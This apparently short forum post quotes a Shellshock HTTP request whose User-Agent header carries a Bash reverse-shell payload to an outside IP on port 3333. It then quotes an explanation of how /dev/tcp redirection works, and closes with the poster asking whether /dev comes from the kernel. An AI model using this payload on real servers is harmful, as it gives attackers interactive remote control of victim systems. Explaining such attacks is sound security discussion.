GET /cgi-bin/ HTTP/1.1 Host: <SERVER_IP> User-Agent: () { :;}; /bin/ -c ‘/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1′ 

"Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself. Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system."

Maybe I'm seeing this wrong, but isn't the /dev filesystem provided by the kernel?